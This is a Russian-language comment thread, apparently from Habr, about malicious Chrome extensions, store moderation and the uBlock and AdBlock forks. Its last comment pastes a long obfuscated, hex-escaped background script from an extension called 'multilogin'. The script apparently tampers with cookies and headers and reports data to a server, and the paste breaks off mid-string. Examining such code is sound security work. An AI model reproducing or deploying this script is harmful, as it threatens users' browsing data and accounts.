Pull to refresh

Comments 47

Добро пожаловать в прекрасный мир браузерных аддонов. Гугл не проверяет свои расширения, чем малвари и пользуются. Не даром там такое кол-во скачивальщиков музыки из вконтакта, все хотят заработать. Вот у мозиллы аж две модерации — автоматическая, затем ручная. Там такое не пройдёт. А тут я вам больше скажу — можете обратиться к любому автору такого трояна, он вам за 2к рублей вставит любой ваш js код к себе на сервер, за этим там и есть eval().
Да с Chrome Store все печально.
За полгода собрал базу в 700 вредоносных расширений.
И, к сожалению, не получаю никакой обратной связи, когда отсылаю им письма об этом.

Сегодня, кстати, заметил проблему с довольно популярным расширением uBlock. Так что если у кого-то установлено — то лучше отключить, пока не прояснится с ним ситуация.
А можно поподробнее, что за проблема с uBlock?
Сам недавно на него перешёл польстившись на меньшее потребление ресурсов.
Правда, я на Firefox. Но, подозреваю, кодовая база там более-менее одинаковая.
У меня uBlock в Chrome Store на данный момент не доступно «Item not found. This item may have been removed by its author.» (ссылка есть в комментарии выше). По этой ссылке находилось основное расширение с 700 000 пользователей (если память не изменяет).

Для вредоносных расширений это нормальная картина.
— добавляют чистое расширение в Store
— нагоняют людей
— обновляют расширение на вредоносное
— у пользователей расширение обновляется
— отключают расширение в Store
— а у пользователей расширение остается

Что реально произошло с uBlock не знаю. Но я придерживаюсь принципа «Нет в магазине — в браузере тоже не должно быть». И отключаю.
Вот оно — chrome.google.com/webstore/detail/ublock/epcnnfbjfcgphgdmggkamkmgojdagdnn

В старом репозитории следующая ремарка:
Important note: This is a fork of the new official repo. Although both projects are essentially the same as of 0.9.3.0, they will probably start to diverge as time goes. I consider uBlock₀ here to be feature-complete. I will keep maintaining the project here though so as to ensure it works just fine, i.e. bug fixing for the most part.
Раньше uBlock размещался на этом аккаунте гитхаба.
Теперь там висит объявления, что на этом аккаунте теперь будет форк (uBlock origin), а новая официальная страница — тут, там есть ссылка на магазин расширений Chrome, где уже висит новое расширение uBlock.
P.S. Еще больше недели назад заметил, что к имени расширения добавилась маленькая буква «o» и версия изменилась на 0.9.4.1, хотя на странице расширения на гитхабе такой версии не было.
Может быть, это связано со сменой мэйнтейнера в версии 0.9.3.0?
The uBlock project's main development responsibilities have been transferred to Chris Aljoudi (chrisaljoudi on GitHub)


Ссылка на Chrome add-on с домашней страницы (https://chrismatic.io/ublock/) ведёт сюда.
uBlock — точно не вредоносное расширение.
А зачем собирали, если не секрет?
Не секрет.
Есть свое расширение, которое проверяет установленные расширения у пользователя и сообщает, если среди них есть вредоносные.
По моим ощущением, на текущий момент это более острая проблема, чем реклама на сайтах. Так как от последней существует уже много решений.
Не могли бы свое расширение посоветовать для такой проверки?
Ссылка на расширение в Chrome Store
На сайте расширения можно найти инструкцию с описанием возможностей.
По ссылке очередное расширение для блокировки рекламы. Это точно оно?
Я так понимаю вопрос был именно про сканер расширений на предмет вредоносных.
Да, данное расширение может сканировать вредоносные расширения.
Обязательно добавлю в следующем спринте в описание данную опцию.
То есть, борется с конкурентами? Пока выглядит так.
Исходный код расширения выложен на GitHub, база блокируемых расширений доступна на сайте расширения в полном объеме.
Можете смело написать статью, как оно «борется с конкурентами».
Дедушке ноут недавно купили. Проверял на днях, стоит какие-то два расширения (не помню названия) не понятных, а по клике по ссылкам на сайтах, которым я доверяю, идет переход на сайт мавродия. Ужас какой :)
Дедушке ноут недавно купили.
В вольное плаванье деда пустили.
Как-то на днях я зашёл поглядеть,
А у него там ну прям о… чуметь:
Два расширенья для Хрома (так вроде?)
Лезут упорно на сайты Мавроди!
:)
Несколько раз со мной связывались различные люди, и предлагали внедрить скрипт в расширение. Цена в районе 0.10-0.50$ за пользователя в месяц.
Эти скрипты должны были внедряться на некоторых сайтах, например ebay, и загружать рекламу. Видел несколько расширений в Store которые использовали таки эти скрипты, кажется их потом забанили и они вернулись в Store уже без скриптов.

Да, у Firefox человеческая модерация, это хорошо. Но минус то, что она бывает долго длится, и иногда аддон не пускают по совсем уж мелочным вещам.
У Оперы модерация еще строже, по моим ощущениям.
Да, с Opera как-то все серьезно. Ну за это им огромный плюс.
Написал расширение, решил заложить на будущее дополнительные права и просто js-файлы. На модерации попросили удалить.
Чего-то я не понимаю в этом мире: чем людей обычный AdBlock не устраивает?
Спасибо, это немного прояснило ситуацию.
Не путайте AdBlock Plus с нормальным AdBlock.
И где же взять этот чудесный «настоящий» AdBlock для Firefox?

На домашней странице никаких ссылок нет. Если открыть её в Firefox, говорят, что требуется Chrome, Safari или Opera. Если открыть в IE — Opera чудесным образом меняется на Firefox. Т.е. под Firefox он, вроде как, должен быть. Но в листинге аддонов Firefox его не видно (просмотрел 5 страниц по запросу AdBlock).

Кстати, если сходить по второй ссылке, которую я привёл выше, AdBlock 2.0 / 2.15 там фигурирует на диаграммах. Не с лучшей стороны.
Пост был о расширениях для Chrome, при чём тут ваш Firefox?
AdBlock Plus — настоящий адблок, от той же команды что делают оригинальный для FF.
Adblock — форк отпочковавшейся обиженки из их команды, по сути создан для сбора доната одним человеком.

А что касается «продажного» белого списка — отключается одним чекбоксом «Allow some non-intrusive advertising», ничего критичного в этом нет.
Не совсем так, то есть совсем не так. AdBlock — не форк от ABP, а(изначально) альтернатива для Хрома. Расширение AdBlock для Хрома появилось на год раньше чем у ABP, собственно ABP изначально не желали делать расширение для программ, работающих не на движке Gecko.

Белый список-то отключается, но некоторая реклама всё равно показывается.
Чаще всего тем, что большинство пользователей и не в курсе о «как его там, блокировщик рекламы который». Так и вводят в поиск.
AdBlock блочит AJAX запросы к API, в котором есть слово advertisements. Мне этого хватило, чтоб его удалить :/
Ну, просто поглядев на страницу этого расширения, можно легко понять, что оно ориентировано на тех, кто не слишком блещет умом (как и автор расширения), а потому их не смутит уродское оформление страницы расширения, орфографические ошибки на ней, и так далее.

Зато когда они вобьют в поиск расширений «убрать рекламу», это расширение выйдет вторым из трех (вместе с Remove Ads VK и Adblock Super), и его описание будет на русском языке. Так что своих неграмотных идиотов оно гарантированно найдет. А про AdBlock эта целевая аудитория, вероятно, даже и не слышала.
Разобфусцируем данный код с помощью прекрасного сервиса JSBeautifier.

Как раз сегодня пытался с помощью этого сервиса привести в читабельный вид multilogin.
Вот что получилось:
background.min.js
var _0x576f = ["\x38\x20\x66\x3D\x7B\x7D\x2C\x67\x3D\x5B\x5D\x2C\x6C\x3D\x5B\x5D\x3B\x6D\x28\x22\x22\x29\x3B\x32\x2E\x31\x42\x2E\x33\x63\x2E\x48\x28\x37\x28\x29\x7B\x6E\x2B\x2B\x3B\x38\x20\x62\x3D\x7B\x7D\x3B\x62\x2E\x31\x6C\x3D\x6E\x3B\x32\x2E\x6A\x2E\x56\x2E\x52\x28\x62\x29\x3B\x32\x2E\x4C\x2E\x31\x69\x28\x7B\x7D\x2C\x37\x28\x61\x29\x7B\x70\x28\x61\x2E\x59\x2C\x61\x2E\x59\x2B\x22\x69\x40\x40\x40\x69\x22\x29\x7D\x29\x7D\x29\x3B\x38\x20\x71\x2C\x6E\x2C\x72\x2C\x73\x2C\x74\x2C\x75\x3B\x32\x2E\x31\x66\x2E\x33\x6D\x2E\x48\x28\x37\x28\x62\x29\x7B\x32\x2E\x6A\x2E\x56\x2E\x4F\x28\x22\x31\x45\x22\x2C\x37\x28\x61\x29\x7B\x71\x3D\x61\x2E\x31\x45\x3B\x71\x7C\x7C\x28\x71\x3D\x28\x31\x37\x20\x31\x63\x29\x2E\x31\x65\x28\x29\x2C\x61\x2E\x31\x45\x3D\x71\x2C\x32\x2E\x6A\x2E\x56\x2E\x52\x28\x61\x29\x29\x7D\x29\x3B\x32\x2E\x6A\x2E\x56\x2E\x4F\x28\x22\x31\x6C\x22\x2C\x37\x28\x61\x29\x7B\x6E\x3D\x61\x2E\x31\x6C\x3B\x6E\x7C\x7C\x28\x6E\x3D\x30\x2C\x61\x2E\x31\x6C\x3D\x6E\x2C\x32\x2E\x6A\x2E\x56\x2E\x52\x28\x61\x29\x29\x7D\x29\x3B\x32\x2E\x6A\x2E\x56\x2E\x4F\x28\x22\x31\x76\x22\x2C\x37\x28\x61\x29\x7B\x72\x3D\x61\x2E\x31\x76\x3B\x72\x7C\x7C\x28\x72\x3D\x77\x28\x29\x2C\x61\x2E\x31\x76\x3D\x72\x2C\x32\x2E\x6A\x2E\x56\x2E\x52\x28\x61\x29\x29\x7D\x29\x3B\x32\x2E\x6A\x2E\x54\x2E\x4F\x28\x22\x58\x22\x2C\x37\x28\x61\x29\x7B\x61\x2E\x58\x7C\x7C\x28\x61\x2E\x58\x3D\x77\x28\x29\x2C\x32\x2E\x6A\x2E\x54\x2E\x52\x28\x61\x29\x29\x3B\x73\x3D\x61\x2E\x58\x3B\x31\x68\x2E\x31\x31\x7C\x7C\x28\x31\x68\x2E\x31\x31\x3D\x22\x32\x32\x5C\x4A\x22\x2B\x73\x2B\x22\x3B\x32\x31\x2D\x32\x38\x5C\x32\x30\x22\x29\x7D\x29\x3B\x32\x2E\x6A\x2E\x54\x2E\x4F\x28\x22\x31\x6D\x22\x2C\x37\x28\x61\x29\x7B\x61\x2E\x31\x6D\x7C\x7C\x28\x61\x2E\x31\x6D\x3D\x32\x2E\x31\x66\x2E\x31\x44\x28\x29\x2E\x31\x46\x2C\x32\x2E\x6A\x2E\x54\x2E\x52\x28\x61\x29\x29\x3B\x74\x3D\x61\x2E\x31\x6D\x7D\x29\x3B\x32\x2E\x6A\x2E\x54\x2E\x4F\x28\x22\x58\x22\x2C\x37\x28\x61\x29\x7B\x61\x2E\x58\x7C\x7C\x28\x61\x2E\x58\x3D\x77\x28\x29\x2C\x32\x2E\x6A\x2E\x54\x2E\x52\x28\x61\x29\x29\x3B\x73\x3D\x61\x2E\x58\x3B\x31\x68\x2E\x31\x31\x7C\x7C\x28\x31\x68\x2E\x31\x31\x3D\x22\x32\x32\x5C\x4A\x22\x2B\x73\x2B\x22\x3B\x32\x31\x2D\x32\x38\x5C\x32\x30\x22\x29\x7D\x29\x3B\x32\x2E\x6A\x2E\x54\x2E\x4F\x28\x22\x31\x30\x22\x2C\x37\x28\x61\x29\x7B\x75\x3D\x61\x2E\x31\x30\x7D\x29\x3B\x32\x2E\x6A\x2E\x56\x2E\x4F\x28\x37\x28\x29\x7B\x78\x28\x62\x29\x7D\x29\x7D\x29\x3B\x37\x20\x78\x28\x62\x29\x7B\x22\x33\x39\x22\x3D\x3D\x3D\x62\x2E\x31\x73\x26\x26\x62\x2E\x31\x57\x21\x3D\x32\x2E\x31\x66\x2E\x31\x44\x28\x29\x2E\x31\x46\x26\x26\x79\x28\x62\x2E\x31\x73\x2B\x22\x5C\x32\x52\x5C\x4A\x22\x2B\x62\x2E\x31\x57\x29\x3B\x22\x31\x30\x22\x21\x3D\x3D\x62\x2E\x31\x73\x7C\x7C\x28\x30\x21\x3D\x28\x28\x31\x37\x20\x31\x63\x29\x2E\x31\x65\x28\x29\x2D\x71\x29\x2F\x31\x56\x3C\x3C\x30\x7C\x7C\x75\x29\x7C\x7C\x32\x2E\x4C\x2E\x31\x47\x28\x7B\x50\x3A\x22\x6F\x3A\x2F\x2F\x32\x2E\x4D\x2E\x49\x2F\x31\x55\x2A\x22\x7D\x2C\x37\x28\x61\x29\x7B\x39\x28\x61\x26\x26\x61\x5B\x30\x5D\x29\x7B\x38\x20\x62\x3D\x61\x5B\x30\x5D\x3B\x62\x2E\x31\x36\x3F\x32\x2E\x4C\x2E\x4F\x28\x62\x2E\x31\x36\x2C\x37\x28\x61\x29\x7B\x79\x28\x22\x31\x30\x5C\x31\x4D\x5C\x4A\x22\x2B\x62\x2E\x50\x2B\x22\x5C\x32\x50\x5C\x4A\x22\x2B\x61\x2E\x50\x29\x7D\x29\x3A\x79\x28\x22\x31\x30\x5C\x31\x4D\x5C\x4A\x22\x2B\x62\x2E\x50\x29\x7D\x31\x4E\x7B\x79\x28\x22\x31\x30\x22\x29\x7D\x7D\x29\x7D\x37\x20\x79\x28\x62\x29\x7B\x32\x2E\x6A\x2E\x54\x2E\x52\x28\x7B\x31\x30\x3A\x21\x30\x7D\x29\x3B\x38\x20\x61\x3D\x31\x37\x20\x33\x66\x3B\x61\x2E\x33\x65\x28\x22\x32\x6D\x22\x2C\x22\x31\x39\x3A\x2F\x2F\x31\x4F\x2E\x32\x67\x2E\x49\x2F\x32\x69\x2F\x32\x47\x2F\x22\x2C\x21\x30\x29\x3B\x61\x2E\x32\x46\x28\x22\x32\x77\x2D\x31\x38\x22\x2C\x22\x32\x7A\x2F\x78\x2D\x31\x4F\x2D\x33\x31\x2D\x32\x73\x22\x29\x3B\x61\x2E\x32\x72\x28\x22\x32\x63\x5C\x32\x49\x2E\x49\x5C\x32\x4D\x5C\x4A\x22\x2B\x62\x2B\x22\x5C\x32\x45\x5C\x4A\x22\x2B\x32\x2E\x31\x66\x2E\x31\x44\x28\x29\x2E\x31\x46\x2B\x22\x5C\x32\x79\x5C\x4A\x22\x2B\x6E\x2B\x22\x5C\x32\x48\x5C\x4A\x22\x2B\x28\x28\x28\x31\x37\x20\x31\x63\x29\x2E\x31\x65\x28\x29\x2D\x71\x29\x2F\x31\x56\x3C\x3C\x30\x29\x2B\x22\x5C\x32\x41\x5C\x4A\x22\x2B\x72\x2B\x22\x5C\x32\x42\x5C\x4A\x22\x2B\x73\x2B\x22\x5C\x32\x43\x5C\x4A\x22\x2B\x74\x2B\x22\x5C\x32\x76\x5C\x4A\x22\x2B\x73\x2B\x72\x2B\x22\x5C\x32\x78\x22\x2B\x31\x68\x2E\x31\x31\x2B\x22\x5C\x32\x4B\x5C\x4A\x22\x2B\x72\x29\x7D\x37\x20\x77\x28\x29\x7B\x51\x28\x22\x32\x75\x22\x2B\x28\x31\x4A\x2E\x32\x4E\x28\x29\x2A\x31\x4A\x2E\x32\x6B\x28\x33\x36\x2C\x31\x32\x29\x29\x2E\x32\x68\x28\x33\x36\x29\x29\x2E\x31\x6B\x28\x2D\x31\x32\x29\x7D\x3B\x37\x20\x6D\x28\x62\x29\x7B\x32\x2E\x31\x74\x2E\x31\x52\x28\x7B\x7D\x2C\x37\x28\x61\x29\x7B\x53\x28\x38\x20\x63\x20\x4E\x20\x61\x29\x7B\x38\x20\x65\x3D\x61\x5B\x63\x5D\x2C\x64\x3D\x65\x2E\x57\x3B\x32\x66\x3D\x3D\x3D\x62\x26\x26\x30\x3C\x64\x2E\x4B\x28\x22\x40\x40\x40\x22\x29\x7C\x7C\x22\x22\x3D\x3D\x3D\x62\x26\x26\x2D\x31\x3D\x3D\x64\x2E\x4B\x28\x22\x40\x40\x40\x22\x29\x7C\x7C\x62\x26\x26\x64\x2E\x31\x64\x28\x30\x2C\x62\x2E\x31\x67\x29\x21\x3D\x62\x7C\x7C\x32\x2E\x31\x74\x2E\x32\x64\x28\x7B\x50\x3A\x28\x65\x2E\x32\x65\x3F\x22\x6F\x3A\x2F\x2F\x22\x3A\x22\x31\x39\x3A\x2F\x2F\x22\x29\x2B\x65\x2E\x32\x6A\x2B\x65\x2E\x32\x6C\x2C\x57\x3A\x64\x7D\x2C\x37\x28\x29\x7B\x7D\x29\x7D\x7D\x29\x7D\x37\x20\x7A\x28\x29\x7B\x32\x2E\x31\x74\x2E\x31\x52\x28\x7B\x7D\x2C\x37\x28\x62\x29\x7B\x53\x28\x38\x20\x61\x20\x4E\x20\x62\x29\x7B\x38\x20\x63\x3D\x62\x5B\x61\x5D\x2E\x57\x3B\x39\x28\x21\x28\x30\x3E\x63\x2E\x4B\x28\x22\x69\x40\x40\x40\x69\x22\x29\x29\x29\x7B\x53\x28\x61\x20\x4E\x20\x63\x3D\x63\x2E\x31\x6B\x28\x30\x2C\x63\x2E\x4B\x28\x22\x69\x40\x40\x40\x69\x22\x29\x29\x2B\x22\x69\x40\x40\x40\x69\x22\x2C\x67\x29\x7B\x39\x28\x67\x5B\x61\x5D\x3D\x3D\x63\x29\x7B\x51\x7D\x7D\x7D\x7D\x7D\x29\x7D\x3B\x32\x2E\x4C\x2E\x32\x71\x2E\x48\x28\x37\x28\x62\x2C\x61\x29\x7B\x38\x20\x63\x3D\x41\x28\x61\x29\x3B\x70\x28\x62\x2C\x63\x29\x3B\x31\x79\x20\x67\x5B\x61\x5D\x3B\x42\x28\x62\x2C\x63\x29\x7D\x29\x3B\x32\x2E\x4C\x2E\x32\x70\x2E\x48\x28\x37\x28\x62\x29\x7B\x61\x3A\x7B\x38\x20\x61\x3D\x41\x28\x62\x29\x3B\x39\x28\x61\x29\x7B\x31\x79\x20\x67\x5B\x62\x5D\x3B\x53\x28\x38\x20\x63\x20\x4E\x20\x67\x29\x7B\x39\x28\x67\x5B\x63\x5D\x3D\x3D\x61\x29\x7B\x31\x4C\x20\x61\x7D\x7D\x6D\x28\x61\x29\x7D\x7D\x31\x79\x20\x6C\x5B\x62\x5D\x7D\x29\x3B\x32\x2E\x4C\x2E\x32\x6F\x2E\x48\x28\x37\x28\x62\x2C\x61\x2C\x63\x29\x7B\x22\x31\x6A\x22\x3D\x3D\x63\x2E\x32\x4C\x26\x26\x70\x28\x62\x2C\x41\x28\x62\x29\x29\x7D\x29\x3B\x32\x2E\x4C\x2E\x32\x56\x2E\x48\x28\x37\x28\x62\x29\x7B\x39\x28\x62\x29\x7B\x38\x20\x61\x3D\x62\x2E\x59\x3B\x39\x28\x61\x26\x26\x21\x28\x30\x3E\x61\x29\x29\x7B\x39\x28\x21\x62\x2E\x31\x36\x29\x7B\x38\x20\x63\x3D\x62\x2E\x31\x43\x3B\x39\x28\x43\x26\x26\x44\x26\x26\x43\x21\x3D\x63\x29\x7B\x63\x3D\x41\x28\x44\x29\x3B\x70\x28\x61\x2C\x63\x29\x3B\x6C\x5B\x61\x5D\x3D\x21\x30\x3B\x51\x7D\x7D\x62\x2E\x31\x36\x26\x26\x22\x32\x22\x21\x3D\x62\x2E\x50\x2E\x31\x6B\x28\x30\x2C\x36\x29\x3F\x28\x63\x3D\x41\x28\x62\x2E\x31\x36\x29\x2C\x70\x28\x61\x2C\x63\x29\x2C\x22\x31\x7A\x22\x3D\x3D\x3D\x31\x41\x20\x6C\x5B\x61\x5D\x26\x26\x28\x6C\x5B\x61\x5D\x3D\x62\x2E\x31\x36\x29\x29\x3A\x6C\x5B\x61\x5D\x3D\x21\x30\x7D\x7D\x7D\x29\x3B\x38\x20\x43\x3B\x32\x2E\x31\x78\x2E\x33\x6A\x28\x7B\x7D\x2C\x37\x28\x62\x29\x7B\x45\x28\x62\x2E\x59\x29\x7D\x29\x3B\x32\x2E\x31\x78\x2E\x33\x6B\x2E\x48\x28\x37\x28\x62\x29\x7B\x45\x28\x62\x29\x7D\x29\x3B\x37\x20\x45\x28\x62\x29\x7B\x62\x26\x26\x32\x2E\x31\x78\x2E\x4F\x28\x62\x2C\x7B\x7D\x2C\x37\x28\x61\x29\x7B\x61\x26\x26\x22\x33\x67\x22\x3D\x3D\x61\x2E\x31\x38\x26\x26\x28\x43\x3D\x62\x2C\x32\x2E\x4C\x2E\x31\x47\x28\x7B\x33\x64\x3A\x21\x30\x2C\x31\x43\x3A\x43\x7D\x2C\x37\x28\x61\x29\x7B\x44\x3D\x61\x5B\x30\x5D\x2E\x59\x7D\x29\x29\x7D\x29\x7D\x38\x20\x44\x3B\x32\x2E\x4C\x2E\x33\x6C\x2E\x48\x28\x37\x28\x62\x2C\x61\x29\x7B\x45\x28\x61\x2E\x31\x43\x29\x7D\x29\x3B\x32\x2E\x31\x61\x2E\x31\x53\x2E\x48\x28\x37\x28\x62\x29\x7B\x39\x28\x28\x62\x3D\x62\x2E\x55\x29\x26\x26\x21\x28\x30\x3E\x62\x29\x26\x26\x28\x7A\x28\x29\x2C\x22\x31\x7A\x22\x3D\x3D\x3D\x31\x41\x20\x6C\x5B\x62\x5D\x29\x29\x7B\x62\x3D\x30\x3B\x53\x28\x38\x20\x61\x3D\x28\x31\x37\x20\x31\x63\x29\x2E\x31\x65\x28\x29\x3B\x33\x75\x3E\x62\x2D\x61\x3B\x62\x3D\x28\x31\x37\x20\x31\x63\x29\x2E\x31\x65\x28\x29\x29\x7B\x7D\x7D\x7D\x2C\x7B\x31\x35\x3A\x5B\x22\x31\x39\x3A\x2F\x2F\x2A\x2F\x2A\x22\x2C\x22\x6F\x3A\x2F\x2F\x2A\x2F\x2A\x22\x5D\x2C\x33\x6F\x3A\x5B\x22\x31\x48\x22\x5D\x7D\x2C\x5B\x22\x31\x62\x22\x2C\x22\x31\x4B\x22\x5D\x29\x3B\x32\x2E\x31\x61\x2E\x33\x70\x2E\x48\x28\x37\x28\x62\x29\x7B\x38\x20\x61\x3D\x62\x2E\x55\x3B\x39\x28\x61\x26\x26\x21\x28\x30\x3E\x61\x29\x29\x7B\x38\x20\x63\x3D\x41\x28\x61\x29\x2C\x65\x3D\x62\x2E\x50\x2C\x64\x3D\x62\x2E\x31\x75\x2C\x68\x3D\x22\x22\x3B\x39\x28\x22\x6F\x3A\x2F\x2F\x31\x6F\x2E\x31\x6E\x2E\x49\x2F\x31\x70\x2F\x31\x71\x2F\x31\x6A\x2E\x31\x72\x22\x21\x3D\x65\x2E\x31\x64\x28\x30\x2C\x31\x51\x29\x29\x7B\x39\x28\x22\x31\x48\x22\x3D\x3D\x62\x2E\x31\x38\x29\x7B\x66\x5B\x61\x5D\x3D\x21\x31\x3B\x39\x28\x65\x26\x26\x30\x3D\x3D\x65\x2E\x4B\x28\x22\x6F\x3A\x2F\x2F\x31\x77\x2E\x4D\x2E\x49\x2F\x22\x29\x29\x7B\x38\x20\x76\x2C\x6B\x3B\x53\x28\x6B\x20\x4E\x20\x64\x29\x7B\x39\x28\x22\x33\x61\x22\x3D\x3D\x64\x5B\x6B\x5D\x2E\x57\x29\x7B\x76\x3D\x64\x5B\x6B\x5D\x2E\x31\x33\x3B\x31\x4C\x7D\x7D\x76\x26\x26\x30\x3D\x3D\x76\x2E\x4B\x28\x22\x6F\x3A\x2F\x2F\x31\x77\x2E\x4D\x2E\x49\x2F\x22\x29\x26\x26\x30\x3C\x76\x2E\x4B\x28\x22\x32\x2E\x4D\x2E\x49\x22\x29\x26\x26\x28\x66\x5B\x61\x5D\x3D\x21\x30\x2C\x63\x3D\x22\x22\x29\x7D\x65\x26\x26\x30\x3D\x3D\x65\x2E\x4B\x28\x22\x6F\x3A\x2F\x2F\x31\x77\x2E\x4D\x2E\x49\x2F\x22\x29\x26\x26\x30\x3C\x65\x2E\x4B\x28\x22\x32\x2E\x4D\x2E\x49\x22\x29\x26\x26\x28\x66\x5B\x61\x5D\x3D\x21\x30\x2C\x63\x3D\x22\x22\x29\x3B\x30\x3D\x3D\x65\x2E\x4B\x28\x22\x6F\x3A\x2F\x2F\x32\x2E\x4D\x2E\x49\x2F\x31\x55\x22\x29\x26\x26\x28\x66\x5B\x61\x5D\x3D\x21\x30\x2C\x63\x3D\x22\x22\x29\x7D\x53\x28\x6B\x20\x4E\x20\x64\x29\x7B\x39\x28\x22\x31\x31\x22\x3D\x3D\x3D\x64\x5B\x6B\x5D\x2E\x57\x2E\x31\x54\x28\x29\x29\x7B\x39\x28\x21\x63\x26\x26\x2D\x31\x3D\x3D\x64\x5B\x6B\x5D\x2E\x31\x33\x2E\x4B\x28\x22\x69\x40\x40\x40\x69\x22\x29\x29\x7B\x51\x7D\x62\x3D\x64\x5B\x6B\x5D\x2E\x31\x33\x2E\x32\x57\x28\x22\x3B\x20\x22\x29\x3B\x53\x28\x38\x20\x47\x20\x4E\x20\x62\x29\x7B\x61\x3D\x62\x5B\x47\x5D\x2E\x32\x58\x28\x29\x3B\x39\x28\x63\x29\x7B\x39\x28\x61\x2E\x31\x64\x28\x30\x2C\x63\x2E\x31\x67\x29\x21\x3D\x63\x29\x7B\x31\x50\x7D\x7D\x31\x4E\x7B\x39\x28\x2D\x31\x3C\x61\x2E\x4B\x28\x22\x69\x40\x40\x40\x69\x22\x29\x29\x7B\x31\x50\x7D\x7D\x30\x3C\x68\x2E\x31\x67\x26\x26\x28\x68\x2B\x3D\x22\x3B\x20\x22\x29\x3B\x68\x3D\x63\x3F\x68\x2B\x61\x2E\x31\x64\x28\x63\x2E\x31\x67\x29\x3A\x68\x2B\x61\x7D\x64\x2E\x32\x54\x28\x6B\x2C\x31\x29\x7D\x7D\x30\x3C\x68\x2E\x31\x67\x26\x26\x64\x2E\x32\x61\x28\x7B\x57\x3A\x22\x32\x51\x22\x2C\x31\x33\x3A\x68\x7D\x29\x3B\x51\x7B\x31\x75\x3A\x64\x7D\x7D\x7D\x7D\x2C\x7B\x31\x35\x3A\x5B\x22\x31\x39\x3A\x2F\x2F\x2A\x2F\x2A\x22\x2C\x22\x6F\x3A\x2F\x2F\x2A\x2F\x2A\x22\x5D\x7D\x2C\x5B\x22\x31\x62\x22\x2C\x22\x31\x75\x22\x5D\x29\x3B\x32\x2E\x31\x61\x2E\x32\x33\x2E\x48\x28\x37\x28\x62\x29\x7B\x38\x20\x61\x3D\x62\x2E\x55\x3B\x39\x28\x61\x26\x26\x21\x28\x30\x3E\x61\x29\x29\x7B\x38\x20\x63\x3D\x41\x28\x61\x29\x3B\x39\x28\x22\x22\x21\x3D\x63\x29\x7B\x38\x20\x65\x3D\x62\x2E\x50\x3B\x62\x3D\x62\x2E\x5A\x3B\x39\x28\x21\x66\x5B\x61\x5D\x26\x26\x22\x6F\x3A\x2F\x2F\x31\x6F\x2E\x31\x6E\x2E\x49\x2F\x31\x70\x2F\x31\x71\x2F\x31\x6A\x2E\x31\x72\x22\x21\x3D\x65\x2E\x31\x64\x28\x30\x2C\x31\x51\x29\x29\x7B\x53\x28\x38\x20\x64\x20\x4E\x20\x62\x29\x7B\x22\x52\x2D\x31\x31\x22\x3D\x3D\x62\x5B\x64\x5D\x2E\x57\x2E\x31\x54\x28\x29\x26\x26\x28\x62\x5B\x64\x5D\x2E\x31\x33\x3D\x63\x2B\x62\x5B\x64\x5D\x2E\x31\x33\x29\x7D\x51\x7B\x5A\x3A\x62\x7D\x7D\x7D\x7D\x7D\x2C\x7B\x31\x35\x3A\x5B\x22\x31\x39\x3A\x2F\x2F\x2A\x2F\x2A\x22\x2C\x22\x6F\x3A\x2F\x2F\x2A\x2F\x2A\x22\x5D\x7D\x2C\x5B\x22\x31\x62\x22\x2C\x22\x5A\x22\x5D\x29\x3B\x32\x2E\x31\x61\x2E\x31\x53\x2E\x48\x28\x37\x28\x62\x29\x7B\x38\x20\x61\x3D\x62\x2E\x55\x3B\x39\x28\x61\x26\x26\x21\x28\x30\x3E\x61\x29\x26\x26\x41\x28\x61\x29\x29\x7B\x51\x7B\x33\x33\x3A\x62\x2E\x50\x2E\x33\x76\x28\x22\x6F\x3A\x2F\x2F\x31\x34\x2E\x4D\x2E\x49\x2F\x31\x34\x2F\x31\x49\x2F\x22\x2C\x22\x6F\x3A\x2F\x2F\x31\x34\x2E\x4D\x2E\x49\x2F\x31\x34\x2F\x22\x29\x7D\x7D\x7D\x2C\x7B\x31\x35\x3A\x5B\x22\x6F\x3A\x2F\x2F\x31\x34\x2E\x4D\x2E\x49\x2F\x31\x34\x2F\x31\x49\x2F\x2A\x22\x5D\x7D\x2C\x5B\x22\x31\x62\x22\x2C\x22\x31\x4B\x22\x5D\x29\x3B\x32\x2E\x31\x61\x2E\x32\x33\x2E\x48\x28\x37\x28\x62\x29\x7B\x38\x20\x61\x3D\x62\x2E\x55\x3B\x39\x28\x61\x26\x26\x21\x28\x30\x3E\x61\x29\x29\x7B\x51\x20\x62\x2E\x5A\x2E\x32\x61\x28\x7B\x57\x3A\x22\x36\x22\x2C\x31\x33\x3A\x41\x28\x61\x29\x7D\x29\x2C\x7B\x5A\x3A\x62\x2E\x5A\x7D\x7D\x7D\x2C\x7B\x31\x35\x3A\x5B\x22\x6F\x3A\x2F\x2F\x31\x6F\x2E\x31\x6E\x2E\x49\x2F\x31\x70\x2F\x31\x71\x2F\x31\x6A\x2E\x31\x72\x22\x5D\x7D\x2C\x5B\x22\x31\x62\x22\x2C\x22\x5A\x22\x5D\x29\x3B\x32\x2E\x33\x37\x2E\x33\x32\x2E\x48\x28\x37\x28\x62\x29\x7B\x38\x20\x61\x3D\x62\x2E\x55\x3B\x39\x28\x21\x28\x21\x61\x7C\x7C\x30\x3E\x61\x7C\x7C\x21\x41\x28\x61\x29\x7C\x7C\x30\x3C\x62\x2E\x33\x30\x29\x29\x7B\x33\x34\x7B\x32\x2E\x4C\x2E\x33\x35\x28\x61\x2C\x7B\x31\x38\x3A\x35\x7D\x29\x7D\x33\x38\x28\x63\x29\x7B\x7D\x7D\x7D\x2C\x7B\x31\x35\x3A\x5B\x22\x31\x39\x3A\x2F\x2F\x2A\x2F\x2A\x22\x2C\x22\x6F\x3A\x2F\x2F\x2A\x2F\x2A\x22\x5D\x7D\x29\x3B\x32\x2E\x31\x66\x2E\x32\x5A\x2E\x48\x28\x37\x28\x62\x29\x7B\x62\x2E\x32\x59\x2E\x48\x28\x37\x28\x61\x29\x7B\x33\x3D\x3D\x61\x2E\x31\x38\x26\x26\x62\x2E\x31\x5A\x2E\x31\x58\x26\x26\x62\x2E\x32\x53\x28\x7B\x31\x38\x3A\x34\x2C\x32\x55\x3A\x41\x28\x62\x2E\x31\x5A\x2E\x31\x58\x2E\x59\x29\x7D\x29\x7D\x29\x7D\x29\x3B\x37\x20\x41\x28\x62\x29\x7B\x39\x28\x21\x28\x31\x3E\x62\x29\x29\x7B\x51\x20\x66\x5B\x62\x5D\x7C\x7C\x21\x67\x5B\x62\x5D\x3F\x22\x22\x3A\x67\x5B\x62\x5D\x7D\x7D\x37\x20\x70\x28\x62\x2C\x61\x29\x7B\x61\x26\x26\x28\x67\x5B\x62\x5D\x3D\x61\x2C\x42\x28\x62\x2C\x61\x29\x29\x7D\x37\x20\x42\x28\x62\x2C\x61\x29\x7B\x39\x28\x22\x31\x7A\x22\